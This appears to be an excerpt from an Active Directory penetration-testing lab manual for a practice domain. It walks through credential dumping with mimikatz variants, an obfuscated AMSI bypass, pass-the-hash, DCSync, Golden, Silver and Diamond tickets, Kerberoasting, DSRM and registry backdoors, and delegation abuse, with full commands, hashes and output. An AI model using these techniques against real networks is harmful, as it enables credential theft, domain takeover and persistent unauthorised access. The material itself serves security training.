Name : (Default Rule) All scripts located in the Program Files
folder
Description : Allows members of the Everyone group to run scripts
that are located in the Program Files folder.
UserOrGroupSid : S-1-1-0
Action : Allow
PathConditions : {%WINDIR%\*}
PathExceptions : {}
PublisherExceptions : {}
HashExceptions : {}
Id : 9428c672-5fc3-47f4-808a-a0011f36dd2c
Name : (Default Rule) All scripts located in the Windows
folder
Description : Allows members of the Everyone group to run scripts
that are located in the Windows folder.
UserOrGroupSid : S-1-1-0
Action : Allow
Also, we cannot run scripts using dot sourcing (. .\Invoke-Mimi.ps1) because of the Constrained
Language Mode. So, we must modify Invoke-Mimi.ps1 to include the function call in the script itself and
transfer the modified script (Invoke-MimiEx.ps1) to the target server.
Create Invoke-MimiEx.ps1
- Create a copy of Invoke-Mimi.ps1 and rename it to Invoke-MimiEx.ps1.
- Open Invoke-MimiEx.ps1 in PowerShell ISE (Right click on it and click Edit).
- Add "Invoke-Mimi -Command '"sekurlsa::ekeys"' " (without quotes) to the end of the file.
[snip]
-a---- 2/21/2023 10:54 PM 3711992 Invoke-MimiEx.ps1
Now run the modified mimikatz script. Note that there is no dot sourcing here:
[snip]
* Username : srvadmin
* Domain : DOLLARCORP.MONEYCORP.LOCAL
* Password : (null)
* Key List :
aes256_hmac
145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1dbb4
rc4_hmac_nt a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_old a98e18228819e8eec3dfa33cb68b0728
rc4_md4 a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_nt_exp a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_old_exp a98e18228819e8eec3dfa33cb68b0728
* Username : appadmin
* Domain : DOLLARCORP.MONEYCORP.LOCAL
* Password : *ActuallyTheWebServer1
* Key List :
aes256_hmac
68f08715061e4d0790e71b1245bf20b023d08822d2df85bff50a0e8136ffe4cb
aes128_hmac 449e9900eb0d6ccee8dd9ef66965797e
rc4_hmac_nt d549831a955fee51a43c83efb3928fa7
rc4_hmac_old d549831a955fee51a43c83efb3928fa7
rc4_md4 d549831a955fee51a43c83efb3928fa7
rc4_hmac_nt_exp d549831a955fee51a43c83efb3928fa7
rc4_hmac_old_exp d549831a955fee51a43c83efb3928fa7
* Username : websvc
* Domain : DOLLARCORP.MONEYCORP.LOCAL
* Password : AServicewhichIsNotM3@nttoBe
[snip]
Here we find the credentials of the srvadmin, appadmin and websvc users.
From local system with elevated shell (Run as Administrator), OverPass-the-Hash for srvadmin user
using Safetykatz:
[snip]
The new process that starts has srvadmin privileges. Check if srvadmin has admin privileges on any other
machine.
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> . C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
PS C:\Windows\system32> Find-PSRemotingLocalAdminAccess -Verbose
VERBOSE: Trying to run a command parallely on provided computers list using
PSRemoting .
dcorp-mgmt
dcorp-adminsrv
[snip]
We have local admin access on the dcorp-mgmt server as srvadmin and we already know a session of
svcadmin is present on that machine.
C:\Users\srvadmin>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/SafetyKatz.exe sekurlsa::ekeys exit
[snip]
Authentication Id : 0 ; 58866 (00000000:0000e5f2)
Session : Service from 0
User Name : svcadmin
Domain : dcorp
Logon Server : DCORP-DC
Logon Time : 3/3/2023 2:39:12 AM
SID : S-1-5-21-719815819-3726368948-3917688648-1118
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
rc4_hmac_nt b38ff50264b74508085d82c69794a4d8
rc4_hmac_old b38ff50264b74508085d82c69794a4d8
rc4_md4 b38ff50264b74508085d82c69794a4d8
rc4_hmac_nt_exp b38ff50264b74508085d82c69794a4d8
rc4_hmac_old_exp b38ff50264b74508085d82c69794a4d8
We will be dumping the hashes of dcorp-mgmt server using mimikatz but first let’s disable AMSI on the
target server.
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
aes256_hmac
6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
rc4_hmac_nt b38ff50264b74508085d82c69794a4d8
rc4_hmac_old b38ff50264b74508085d82c69794a4d8
rc4_md4 b38ff50264b74508085d82c69794a4d8
[snip]
mimikatz(powershell) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
Finally, we can use the svcadmin credentials on the student VM using OverPass-the-hash
C:\AD\Tools> C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[snip]
Task
Extract secrets from the domain controller of dollarcorp.
Using the secrets of krbtgt account, create a Golden ticket.
Use the Golden ticket to (once again) get domain admin privileges from a machine.
Solution
From the previous exercise, we have domain admin privileges! Let’s use extract all the hashes on the
domain controller. Remember that the commands need to be executed from a process running with
privileges of DA on your student VM.
Using SafetyKatz.exe
Run the below command from an elevated command prompt (Run as administrator) to start a process
with Domain Admin privileges:
Run the below commands from the process running as DA to copy Loader.exe on dcorp-dc and use it to
extract credentials:
C:\Users\svcadmin>C:\Users\Public\Loader.exe -path
http://127.0.0.1:8080/SafetyKatz.exe
[snip]
mimikatz # lsadump::lsa /patch
Domain : dcorp / S-1-5-21-719815819-3726368948-3917688648
Please note that the krbtgt account password may be changed and the hash you get in your lab instance
could be different from the one in this lab manual.
To get NTLM hash and AES keys of the krbtgt account, we can use the DCSync attack. Run the below
command from process running as Domain Admin:
C:\Windows\system32>C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync
/user:dcorp\krbtgt" "exit"
[snip]
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Finally, we can use BetterSafetyKatz.exe to create a Golden ticket. Run the below command from an
elevated command prompt:
[snip]
User : Administrator
Domain : dollarcorp.moneycorp.local (DOLLARCORP)
SID : S-1-5-21-719815819-3726368948-3917688648
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
- aes256_hmac
Lifetime : 3/3/2023 8:22:56 AM ; 3/3/2023 6:22:56 PM ; 3/10/2023 8:22:56 AM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
mimikatz(commandline) # exit
Bye!
C:\Windows\system32>klist
C:\Windows\system32>dir \\dcorp-dc\c$
Volume in drive \\dcorp-dc\c$ has no label.
Volume Serial Number is 1A5A-FDE2
Directory of \\dcorp-dc\c$
C:\Windows\System32> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
C:\Windows\System32>. C:\AD\Tools\Invoke-Mimi.ps1
C:\Windows\System32> Invoke-Mimi -Command '"sekurlsa::pth /user:svcadmin
/domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8
/run:cmd.exe"'
[snip]
C:\Windows\System32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\System32> cd C:\AD\Tools
PS C:\AD\Tools> $sess = New-PSSession -ComputerName dcorp-dc
PS C:\AD\Tools> Enter-PSSession $sess
[dcorp-dc]: PS C:\Users\svcadmin\Documents> S`eT-It`em ( 'V'+'aR' + 'IA' +
('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; (
Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"((
"{6}{3}{1}{4}{2}{0}{5}" -
f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'
s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -
f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f
('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )
[dcorp-dc]: PS C:\Users\svcadmin\Documents> exit
[snip]
We can also run the DCSync attack from the process running as DA:
PS C:\AD\Tools> Invoke-Mimi -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
[snip]
Please note that the krbtgt account password may be changed and the hash you get in your lab instance
could be different from the one in this lab manual.
[snip]
Directory: \\dcorp-dc.dollarcorp.moneycorp.local\c$
Domain : dollarcorp.moneycorp.local
Manufacturer : Microsoft Corporation
Model : Virtual Machine
Name : DCORP-DC
PrimaryOwnerName : Windows User
TotalPhysicalMemory : 2146377728
Solution
From the information gathered in previous steps we have the hash for machine account of the domain
controller (dcorp-dc$). Using the below command, we can create a Silver Ticket that provides us access
to the HOST service of DC. Please note that the hash of dcorp-dc$ (RC4 in the below command) may be
different in the lab. You can also use aes256 keys in place of NTLM hash:
C:\AD\Tools>C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden
/User:Administrator /domain:dollarcorp.moneycorp.local /sid: S-1-5-21-
719815819-3726368948-3917688648 /target:dcorp-dc.dollarcorp.moneycorp.local
/service:HOST /rc4:98fb9b154f614d933422b877cd3f2e98 /startoffset:0 /endin:600
/renewmax:10080 /ptt" "exit"
[snip]
User : Administrator
Domain : dollarcorp.moneycorp.local
ServiceKey: 98fb9b154f614d933422b877cd3f2e98 - rc4_hmac_nt
Service : HOST
Target : dcorp-dc.dollarcorp.moneycorp.local
Lifetime : 3/3/2023 8:35:20 AM ; 3/3/2023 6:35:20 PM ; 3/10/2023 8:35:20 AM
-> Ticket : ** Pass The Ticket **
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Start a listener and schedule and execute a task to run the reverse shell script. We will use Invoke-
PowerShellTcpEx.ps1.
Create Invoke-PowerShellTcpEx.ps1:
Run the below command in the process where we injected the ticket for HOST service. Make sure that
the listener is already running:
On the listener:
For accessing WMI, we need to create two tickets - one for HOST service and another for RPCSS. Run the
below commands from an elevated shell:
C:\Windows\system32>klist
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
Solution
We can simply use the following Rubeus command to execute the attack. Note that the command needs
to be run from an elevated shell (Run as administrator):
C:\Windows\system32>C:\AD\Tools\Rubeus.exe diamond
/krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
/tgtdeleg /enctype:aes /ticketuser:administrator
/domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local
/ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe
/show /ptt
_
( \ | |
) )_ _| | _ _
| /| | | | _ \| | | | |/ )
| | \ \| |_| | |_) ) | |_| | |
|_| |_| /| /| ) /( /
v2.2.1
C:\Users\Administrator>set username
Set username
USERNAME=administrator
Solution
We can persist with administrative access on the DC once we have Domain Admin privileges by abusing
the DSRM administrator. With the domain admin privileges obtained earlier, run the following
commands on the DC to open a PowerShell remoting session. As always, remember that we could use
other tools like SafetyKatz, BetterSafetyKatz etc.
Load the Invoke-Mimi script in the session, Run the below command on local machine:
PS C:\AD\Tools\> Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimi.ps1 -
Session $sess
We will extract the credentials from the SAM file from the DC. The Directory Services Restore Mode
(DSRM) password is mapped to the local Administrator on the DC:
PS C:\AD\Tools> Enter-PSSession -Session $sess
mimikatz(powershell) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
mimikatz(powershell) # lsadump::sam
Domain : DCORP-DC
SysKey : bab78acd91795c983aef0534e0db38c7
Local SID : S-1-5-21-627273635-3076012327-2140009870
SAMKey : f3a9473cb084668dcf1d7e5f47562659
The DSRM administrator is not allowed to logon to the DC from network. So we need to change the
logon behavior for the account by modifying registry on the DC. We can do this as follows:
Now from our local system we can just pass the hash for the DSRM administrator:
[snip]
We can now access the dcorp-dc directly from the new session.
PS C:\Windows\System32> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
Directory: \\dcorp-dc.dollarcorp.moneycorp.local\c$
Solution
We can check if studentx has replication rights using the following commands:
C:\AD\Tools> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> . C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Get-DomainObjectAcl -SearchBase
"DC=dollarcorp,DC=moneycorp,DC=local" -SearchScope Base -ResolveGUIDs |
?{($_.ObjectAceType -match 'replication-get') -or ($_.ActiveDirectoryRights -
match 'GenericAll')} | ForEach-Object {$_ | Add-Member NoteProperty
'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_} |
?{$_.IdentityName -match "studentx"}
If the studentx does not have replication rights, let's add the rights.
Start a process as Domain Administrator by running the below comman from an elevated command
prompt:
C:\AD\Tools>C:\AD\Tools\Rubeus.exe asktgt /user:svcadmin
/aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
/opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
[snip]
Run the below commands in the new process. Remember to change studentx to your user:
C:\Windows\system32>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> . C:\AD\Tools\PowerView.ps1
PS C:\Windows\system32> Add-DomainObjectAcl -TargetIdentity
'DC=dollarcorp,DC=moneycorp,DC=local' -PrincipalIdentity stu
dentx -Rights DCSync -PrincipalDomain dollarcorp.moneycorp.local -
TargetDomain dollarcorp.moneycorp.local -Verbose
[snip]
VERBOSE: [Add-DomainObjectAcl] Granting principal
CN=studentx,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local 'DCSync' on
DC=dollarcorp,DC=moneycorp,DC=local
[snip]
AceQualifier : AccessAllowed
ObjectDN : DC=dollarcorp,DC=moneycorp,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
ObjectSID : S-1-5-21-719815819-3726368948-3917688648
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-4101
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
IdentityName : dcorp\studentx
AceQualifier : AccessAllowed
ObjectDN : DC=dollarcorp,DC=moneycorp,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes
ObjectSID : S-1-5-21-719815819-3726368948-3917688648
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-719815819-3726368948-3917688648-4101
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
IdentityName : dcorp\studentx
Sweet! Now, below command (or any similar tool) can be used as studentx to get the hashes of krbtgt
user or any other user:
[snip]
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
[snip]
Solution
Once we have administrative privileges on a machine, we can modify security descriptors of services to
access the services without administrative privileges. Below command (to be run as Domain
Administrator) modifies the host security descriptors for WMI on the DC to allow studentx access to
WMI:
C:\AD\Tools>C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Set-RemoteWMI -SamAccountName studentx -ComputerName dcorp-dc
-namespace 'root\cimv2' -Verbose
Similar modification can be done to PowerShell remoting configuration. (In rare cases, you may get an
I/O error while using the below command, please ignore it). Please note that this is unstable since some
patches in August 2020:
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Set-RemotePSRemoting -SamAccountName studentx -ComputerName
dcorp-dc.dollarcorp.moneycorp.local -Verbose
Now, we can run commands using PowerShell remoting on the DC without DA privileges:
To retrieve machine account hash without DA, first we need to modify permissions on the DC.
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Add-RemoteRegBackdoor -ComputerName dcorp-
dc.dollarcorp.moneycorp.local -Trustee studentx -Verbose
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local : ] Using trustee username
'studentx'
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local] Remote registry is not
running, attempting to start
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local] Attaching to remote registry
through StdRegProv
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local :
SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Backdooring
started for key
VERBOSE: [dcorp-dc.dollarcorp.moneycorp.local :
SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg] Creating ACE with
Access Mask of 983103
(ALL_ACCESS) and AceFlags of 2 (CONTAINER_INHERIT_ACE)
ComputerName BackdoorTrustee
------------ ---------------
dcorp-dc.dollarcorp.moneycorp.local studentx
PS C:\AD\Tools> . C:\AD\Tools\RACE.ps1
PS C:\AD\Tools> Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose
[snip]
ComputerName MachineAccountHash
dcorp-dc 1be12164a06b817e834eb437dc8f581c
We can use the machine account hash to create Silver Tickets. Create Silver Tickets for HOST and RPCSS
using the machine account hash to execute WMI queries:
[snip]
[snip]
C:\Windows\system32> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\Windows\system32> gwmi -Class win32_operatingsystem -ComputerName
dcorp-dc
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 20348
RegisteredUser : Windows User
SerialNumber : 00454-30000-00000-AA745
Version : 10.0.20348
Solution
We first need to find out services running with user accounts as the services running with machine
accounts have difficult passwords. We can use PowerView’s (Get-DomainUser -SPN) or ActiveDirectory
module for discovering such services:
C:\AD\Tools> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
[snip]
PS C:\AD\Tools>. C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Get-DomainUser -SPN
[snip]
logoncount : 36
badpasswordtime : 11/25/2022 4:20:42 AM
description : Account to be used for services which need high
privileges.
distinguishedname : CN=svc
admin,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : svc admin
lastlogontimestamp : 3/3/2023 2:39:19 AM
userprincipalname : svcadmin
samaccountname : svcadmin
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 3/3/2023 10:39:19 AM
instancetype : 4
usncreated : 40118
objectguid : 244f9c84-7e33-4ed6-aca1-3328d0802db0
sn : admin
lastlogoff : 12/31/1600 4:00:00 PM
whencreated : 11/14/2022 5:06:37 PM
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {11/14/2022 5:15:01 PM, 11/14/2022 5:06:37 PM,
1/1/1601 12:00:00 AM}
serviceprincipalname : {MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433,
MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local}
givenname : svc
usnchanged : 119163
memberof : CN=Domain
Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
Neat! The svcadmin, which is a domain administrator has a SPN set! Let's Kerberoast it!
v2.2.1
We can now use John the Ripper to brute-force the hashes. Please note that you need to remove
":1433" from the SPN in hashes.txt before running John
$krb5tgs$23$*svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorp-
mgmt.dollarcorp.moneycorp.local:1433* should be
$krb5tgs$23$*svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorp-
mgmt.dollarcorp.moneycorp.local* in hashes.txt
C:\AD\Tools>C:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --
wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*ThisisBlasphemyThisisMadness!! (?)
1g 0:00:00:00 DONE (2023-03-03 09:18) 90.90g/s 186181p/s 186181c/s 186181C/s
energy..mollie
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Task
• Find a server in the dcorp domain where Unconstrained Delegation is enabled.
• Compromise the server and escalate to Domain Admin privileges.
• Escalate to Enterprise Admins privileges by abusing Printer Bug!
Solution
We first need to find a server that has unconstrained delegation enabled:
C:\AD\Tools> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
PS C:\AD\Tools> . C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Get-DomainComputer -Unconstrained | select -ExpandProperty
name
DCORP-DC
DCORP-APPSRV
Since the prerequisite for elevation using Unconstrained delegation is having admin access to the
machine, we need to compromise a user which has local admin access on appsrv. Recall that we
extracted secrets of appadmin, srvadmin and websvc from dcorp-adminsrv. Let’s check if anyone of
them have local admin privileges on dcorp-appsrv.
First, we will try with appadmin. Run the below command from an elevated command prompt:
C:\Windows\system32> C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe
"sekurlsa::opassth /user:appadmin /domain:dollarcorp.moneycorp.local
/aes256:68f08715061e4d0790e71b1245bf20b023d08822d2df85bff50a0e8136ffe4cb
/run:cmd.exe" "exit"
[snip]
Sweet! We can use multiple methods now to copy Rubeus to dcorp-appsrv to abuse Printer Bug!
Printer Bug - Copy Rubeus using xcopy and execute using winrs
Run the below command from the process running appadmin:
C:\Windows\system32>echo F | xcopy C:\AD\Tools\Rubeus.exe \\dcorp-
appsrv\C$\Users\Public\Rubeus.exe /Y
Does \\dcorp-appsrv\C$\Users\Public\Rubeus.exe specify a file name
or directory name on the target
(F = file, D = directory)? F
C:\AD\Tools\Rubeus.exe
V2.2.1
User : [email protected]
StartTime : 3/3/2023 2:16:37 AM
EndTime : 3/3/2023 12:15:31 PM
RenewTill : 3/10/2023 2:15:31 AM
Flags : name_canonicalize, pre_authent, renewable,
forwarded, forwardable
Base64EncodedTicket :
doIFxTCC..
[snip]
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) :
154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848
aes128_hmac (4096) : e74fa5a9aa05b2c0b2d196e226d8820e
[snip]
Great!
To get Enterprise Admin privileges, we need to force authentication from mcorp-dc. Run the below
command to listern for mcorp-dc$ tickets on dcorp-appsrv:
C:\Windows\system32>winrs -r:dcorp-appsrv cmd
Microsoft Windows [Version 10.0.20348.1249]
V2.2.1
User : [email protected]
[snip]
As previously, copy the base64 encoded ticket and use it with Rubeus on student VM. Run the below
command from an elevated shell as the SafetyKatz command that we will use for DCSync needs to be
run from an elevated process:
C:\Windows\System32>C:\AD\Tools\Rubeus.exe ptt /ticket:doIFx…
[snip]
[*] Action: Import Ticket
[+] Ticket successfully imported!
Task
Enumerate users in the domain for whom Constrained Delegation is enabled.
– For such a user, request a TGT from the DC and obtain a TGS for the service to which
delegation is configured.
– Pass the ticket and access the service.
Enumerate computer accounts in the domain for which Constrained Delegation is enabled.
– For such a user, request a TGT from the DC.
– Obtain an alternate TGS for LDAP service on the target machine.
– Use the TGS for executing DCSync attack.
Solution
To enumerate users with constrained delegation we can use PowerView. Run the below command from
a PowerShell session started using Invisi-Shell:
PS C:\AD\Tools> . C:\AD\Tools\PowerView.ps1
PS C:\AD\Tools> Get-DomainUser -TrustedToAuth
[snip]
logoncount : 2
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=web
svc,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user}
displayname : web svc
lastlogontimestamp : 11/14/2022 4:45:59 AM
userprincipalname : websvc
whencreated : 11/14/2022 12:42:13 PM
samaccountname : websvc
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 11/14/2022 12:45:59 PM
instancetype : 4
usncreated : 38071
objectguid : b7ab147c-f929-4ad2-82c9-7e1b656492fe
sn : svc
lastlogoff : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL,
CIFS/dcorp-mssql}
objectcategory :
CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {11/14/2022 12:42:13 PM, 1/1/1601 12:00:00 AM}
serviceprincipalname : {SNMP/ufc-adminsrv.dollarcorp.moneycorp.LOCAL,
SNMP/ufc-adminsrv}
givenname : web
usnchanged : 38144
lastlogon : 11/16/2022 4:05:33 AM
We already have secrets of websvc from dcorp-admisrv machine. We can either use Kekeo or Rubeus to
abuse that.
_
( \ | |
) )_ _| | _ _
| /| | | | _ \| | | | |/ )
| | \ \| |_| | |_) ) | |_| | |
|_| |_| /| /| ) /( /
v2.2.1
doIFSjCCBUagAwIBBaED[snip]
doIGHDCCBhigAwIBBaED[snip]
doIHYzCCB1+gAwIBBaED[snip]
[+] Ticket successfully imported!
C:\AD\Tools> klist
Directory of \\dcorp-mssql.dollarcorp.moneycorp.local\c$
Let's use Kekeo. We can use the tgt::ask module from kekeo to request a TGT from websvc. Note that
we are using NTLM hash of websvcs here just to show NTLM hash can be used too:
C:\AD\Tools> cd .\kekeo
C:\AD\Tools\kekeo\x64> .\kekeo.exe
Now, let’s use this TGT and request a TGS. Note that we are requesting a TGS to access cifs/dcorp-mssql
as the domain administrator - Administrator:
kekeo # tgs::s4u
/tgt:[email protected]_krbtgt~dollarcorp.moneycorp.local@
DOLLARCORP.MONEYCORP.LOCAL.kirbi
/user:[email protected] /service:cifs/dcorp-
mssql.dollarcorp.moneycorp.LOCAL
Ticket :
[email protected]_krbtgt~dollarcorp.moneycorp.local@DOLLA
RCORP.MONEYCORP.LOCAL.kirbi
C:\AD\Tools\kekeo> . C:\AD\Tools\Invoke-Mimi.ps1
C:\AD\Tools\kekeo\x64> Invoke-Mimi -Command '"kerberos::ptt
[email protected]@DOLLARCORP.MONEYCORP.LOCAL_cifs~
dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
[snip]
mimikatz(powershell) # kerberos::ptt
[email protected]@DOLLARCORP.MONEYCORP.LOCAL_cifs~
dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi
* File:
'[email protected]@DOLLARCORP.MONEYCORP.LOCAL_cifs
~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi': OK
Directory of \\dcorp-mssql.dollarcorp.moneycorp.local\c$
We have the AES keys of dcorp-adminsrv$ from dcorp-adminsrv machine. Run the below command
from an elevated command prompt as SafetyKatz, that we will use for DCSync, would need that:
_
( \ | |
) )_ _| | _ _
| /| | | | _ \| | | | |/ )
| | \ \| |_| | |_) ) | |_| | |
|_| |_| /| /| ) /( /
V2.2.1
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
[snip]
First we are going to use Kekeo to abuse it. Let’s request a TGT. Please note that the hash of dcorp-
adminsrv$ may be different for you in the lab:
PS C:\AD\Tools\kekeo\x64> .\kekeo.exe
[snip]
* File:
'[email protected]@DOLLARCORP.MONEYCORP.LOCAL_ldap
Now, using this TGS, we can use DCSync from mimikatz without DA privileges:
[snip]
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
[snip]
Solution
Let's use PowerView from a PowerShell session started using Invisi-Shell to enumerate Write
permissions for a user that we have compromised. After trying from multiple users or using BloodHound
we would know that the user ciadmin has Write permissions on the computer object of dcorp-mgmt:
ObjectDN : CN=DCORP-
MGMT,OU=Servers,DC=dollarcorp,DC=moneycorp,DC=local
AceQualifier : AccessAllowed
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
